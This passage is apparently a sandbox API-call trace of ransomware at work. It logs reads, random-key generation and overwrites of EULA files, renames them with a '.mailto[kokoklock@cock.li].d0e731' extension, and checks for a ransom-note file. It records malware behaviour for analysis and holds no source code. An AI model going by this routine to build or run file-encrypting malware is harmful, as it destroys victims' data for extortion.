Size=0x4096) returned 0x34a2370 [0080.079] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e98 [0080.079] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491df8 [0080.079] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491df8) returned 1 [0080.079] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.080] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0080.080] WriteFile (in: hFile=0x448, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x23ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x23ebfc94*=0x4096, lpOverlapped=0x0) returned 1 [0080.080] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.080] WriteFile (in: hFile=0x448, lpBuffer=0x3492000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x23ebfcf0, lpOverlapped=0x0 | out: lpBuffer=0x3492000*, lpNumberOfBytesWritten=0x23ebfcf0*=0x20, lpOverlapped=0x0) returned 1 [0080.080] WriteFile (in: hFile=0x448, lpBuffer=0x3491dd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x23ebfcf0, lpOverlapped=0x0 | out: lpBuffer=0x3491dd0*, lpNumberOfBytesWritten=0x23ebfcf0*=0x20, lpOverlapped=0x0) returned 1 [0080.080] WriteFile (in: hFile=0x448, lpBuffer=0x3491e98*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x23ebfcf0, lpOverlapped=0x0 | out: lpBuffer=0x3491e98*, lpNumberOfBytesWritten=0x23ebfcf0*=0x20, lpOverlapped=0x0) returned 1 [0080.080] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.080] WriteFile (in: hFile=0x448, lpBuffer=0x3491da8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x23ebfcf8, lpOverlapped=0x0 | out: lpBuffer=0x3491da8*, lpNumberOfBytesWritten=0x23ebfcf8*=0x8, lpOverlapped=0x0) returned 1 [0080.080] WriteFile (in: hFile=0x448, lpBuffer=0x23ebfd10*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23ebfcf8, lpOverlapped=0x0 | out: lpBuffer=0x23ebfd10*, lpNumberOfBytesWritten=0x23ebfcf8*=0x4, lpOverlapped=0x0) returned 1 [0080.080] WriteFile (in: hFile=0x448, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23ebfcf8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x23ebfcf8*=0x4, lpOverlapped=0x0) returned 1 [0080.080] WriteFile (in: hFile=0x448, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x23ebfcf8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x23ebfcf8*=0x6c, lpOverlapped=0x0) returned 1 [0080.080] WriteFile (in: hFile=0x448, lpBuffer=0x3492028*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x23ebfcf8, lpOverlapped=0x0 | out: lpBuffer=0x3492028*, lpNumberOfBytesWritten=0x23ebfcf8*=0x20, lpOverlapped=0x0) returned 1 [0080.080] WriteFile (in: hFile=0x448, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23ebfcf8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x23ebfcf8*=0x4, lpOverlapped=0x0) returned 1 [0080.081] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492028) returned 1 [0080.081] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e70) returned 1 [0080.081] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491da8) returned 1 [0080.081] CloseHandle (hObject=0x448) returned 1 [0080.081] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428080 [0080.081] wcscpy (in: _Dest=0x3428080, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm" [0080.081] wcscat (in: _Dest=0x3428080, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm.mailto[kokoklock@cock.li].d0e731" [0080.081] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_bg-bg.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_bg-bg.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.082] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.082] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428080) returned 1 [0080.082] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_bg-bg.htm", dwFileAttributes=0x20) returned 0 [0080.082] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd5f0 [0080.082] wcscpy (in: _Dest=0x33cd5f0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.082] wcscat (in: _Dest=0x33cd5f0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.082] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.082] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd5f0) returned 1 [0080.082] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e20) returned 1 [0080.082] RtlExitUserThread (Status=0x1) Thread: id = 996 os_tid = 0x1694 [0080.077] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_cs-cz.htm")) returned 0x20 [0080.078] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm", dwFileAttributes=0x20) returned 1 [0080.083] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_cs-cz.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0080.083] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x23f3f760 | out: lpFileSize=0x23f3f760*=83315) returned 1 [0080.083] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x1456f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.083] ReadFile (in: hFile=0x448, lpBuffer=0x23f3f734, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23f3f730, lpOverlapped=0x0 | out: lpBuffer=0x23f3f734*, lpNumberOfBytesRead=0x23f3f730*=0x4, lpOverlapped=0x0) returned 1 [0080.085] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.085] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492028 [0080.085] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491da8 [0080.085] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491df8 [0080.085] NtQuerySystemTime (in: CurrentTime=0x23f3f70c | out: CurrentTime=0x23f3f70c*=132121176379843351) returned 0x0 [0080.085] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0xa230652c [0080.085] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0xd26a03a9 [0080.085] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0x2aaff90c [0080.085] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0x3f7b7206 [0080.085] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0x461d2ebf [0080.085] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0x632d1429 [0080.085] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0x765cfd72 [0080.085] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0x8a0ad184 [0080.085] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0xefb70bce [0080.085] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0xf7068b44 [0080.085] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0x79199c5c [0080.086] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0xa2caaa1d [0080.086] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0x73d28be4 [0080.086] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0x21126606 [0080.086] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0x711115ab [0080.086] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0x7ac4d28c [0080.086] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0xfea1410 [0080.086] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0xa24f3aa3 [0080.086] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0x2eb1cc [0080.086] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0xddd4e74d [0080.086] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0x413434df [0080.086] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0xda286ec8 [0080.086] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0x1adacfd1 [0080.086] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0x5fb798d6 [0080.086] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0x21b589c [0080.086] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0x1a12957a [0080.086] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0x39c5c4cb [0080.086] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0xe5dc4a6b [0080.086] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0x8e71b615 [0080.086] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0x6d5e3ba3 [0080.086] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0x93751a8 [0080.086] RtlRandom (in: Seed=0x23f3f718 | out: Seed=0x23f3f718) returned 0x58cd56be [0080.098] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0080.098] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492028) returned 1 [0080.098] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.098] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.098] ReadFile (in: hFile=0x448, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x23f3f6e4, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x23f3f6e4*=0x4096, lpOverlapped=0x0) returned 1 [0080.099] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.099] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0080.099] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.099] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491ee8 [0080.099] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491ee8) returned 1 [0080.100] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.100] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492028 [0080.100] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491ee8 [0080.100] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491ee8) returned 1 [0080.100] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.100] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0080.100] WriteFile (in: hFile=0x448, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x23f3f6e4, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x23f3f6e4*=0x4096, lpOverlapped=0x0) returned 1 [0080.100] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.100] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x14573, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.100] WriteFile (in: hFile=0x448, lpBuffer=0x3492028*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x23f3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3492028*, lpNumberOfBytesWritten=0x23f3f71c*=0x20, lpOverlapped=0x0) returned 1 [0080.101] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492028) returned 1 [0080.101] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.101] WriteFile (in: hFile=0x448, lpBuffer=0x3491ec0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x23f3f730, lpOverlapped=0x0 | out: lpBuffer=0x3491ec0*, lpNumberOfBytesWritten=0x23f3f730*=0x8, lpOverlapped=0x0) returned 1 [0080.101] WriteFile (in: hFile=0x448, lpBuffer=0x23f3f748*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23f3f730, lpOverlapped=0x0 | out: lpBuffer=0x23f3f748*, lpNumberOfBytesWritten=0x23f3f730*=0x4, lpOverlapped=0x0) returned 1 [0080.101] WriteFile (in: hFile=0x448, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23f3f730, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x23f3f730*=0x4, lpOverlapped=0x0) returned 1 [0080.101] WriteFile (in: hFile=0x448, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x23f3f730, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x23f3f730*=0x6c, lpOverlapped=0x0) returned 1 [0080.101] WriteFile (in: hFile=0x448, lpBuffer=0x3491da8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x23f3f730, lpOverlapped=0x0 | out: lpBuffer=0x3491da8*, lpNumberOfBytesWritten=0x23f3f730*=0x20, lpOverlapped=0x0) returned 1 [0080.101] WriteFile (in: hFile=0x448, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x23f3f730, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x23f3f730*=0x4, lpOverlapped=0x0) returned 1 [0080.101] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491da8) returned 1 [0080.101] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491e70) returned 1 [0080.101] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491ec0) returned 1 [0080.101] CloseHandle (hObject=0x448) returned 1 [0080.101] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xac) returned 0x3428f98 [0080.101] wcscpy (in: _Dest=0x3428f98, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm" [0080.101] wcscat (in: _Dest=0x3428f98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm.mailto[kokoklock@cock.li].d0e731" [0080.102] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_cs-cz.htm"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_cs-cz.htm.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.102] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0080.102] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428f98) returned 1 [0080.102] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_cs-cz.htm", dwFileAttributes=0x20) returned 0 [0080.102] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x72) returned 0x33cd570 [0080.102] wcscpy (in: _Dest=0x33cd570, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\" [0080.102] wcscat (in: _Dest=0x33cd570, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" [0080.103] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\d0e731-readme.txt")) returned 0x20 [0080.103] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd570) returned 1 [0080.103] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e98) returned 1 [0080.103] RtlExitUserThread (Status=0x1) Thread: id = 997 os_tid = 0x1698 [0080.104] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_da-dk.htm")) returned 0x20 [0080.104] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm", dwFileAttributes=0x20) returned 1 [0080.105] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_da-dk.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_da-dk.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0080.105] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x23fbfc58 | out: lpFileSize=0x23fbfc58*=65173) returned 1 [0080.105] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfe91, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.105] ReadFile (in: hFile=0x448, lpBuffer=0x23fbfc2c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x23fbfc28, lpOverlapped=0x0 | out: lpBuffer=0x23fbfc2c*, lpNumberOfBytesRead=0x23fbfc28*=0x4, lpOverlapped=0x0) returned 1 [0080.106] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.106] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492028 [0080.106] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491da8 [0080.106] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491e70 [0080.106] NtQuerySystemTime (in: CurrentTime=0x23fbfc04 | out: CurrentTime=0x23fbfc04*=132121176379999300) returned 0x0 [0080.106] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0x75f22357 [0080.106] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0xf0b56598 [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0x8bb79b29 [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0x24921d63 [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0x22c2423a [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0xb4aecfdd [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0x19652b49 [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0x7dabdbf [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0x794824c0 [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0x1a379914 [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0x3357ab35 [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0xdff24c9b [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0xf5de065 [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0xf5dd1ca9 [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0x28d8c46d [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0xeb923460 [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0x51fa3069 [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0x3de90622 [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0x1bab4771 [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0x5898f3a8 [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0x34619757 [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0xd0d43316 [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0x6776a7c0 [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0xbfc8ce91 [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0x1e5c30c [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0xd336102c [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0x2810e712 [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0xe7857d3d [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0x816d134e [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0xc713a70e [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0xa532360 [0080.107] RtlRandom (in: Seed=0x23fbfc10 | out: Seed=0x23fbfc10) returned 0x90635e1e [0080.119] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0080.119] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492028) returned 1 [0080.119] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.119] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.119] ReadFile (in: hFile=0x448, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x23fbfbdc, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x23fbfbdc*=0x4096, lpOverlapped=0x0) returned 1 [0080.120] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.120] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd310 [0080.120] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0080.120] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492028 [0080.120] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492028) returned 1 [0080.121] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0080.121] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492028 [0080.121] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492230 [0080.121] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492230) returned 1 [0080.121] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0080.121] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd310) returned 1 [0080.121] WriteFile (in: hFile=0x448, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x23fbfbdc, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x23fbfbdc*=0x4096, lpOverlapped=0x0) returned 1 [0080.121] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0080.121] SetFilePointerEx (in: hFile=0x448, liDistanceToMove=0xfe95, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.121] WriteFile (in: hFile=0x448, lpBuffer=0x3492028*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x23fbfc14, lpOverlapped=0x0 | out: lpBuffer=0x3492028*, lpNumberOfBytesWritten=0x23fbfc14*=0x20, lpOverlapped=0x0) returned 1 [0080.121] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492028) returned 1 [0080.121] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.122] WriteFile 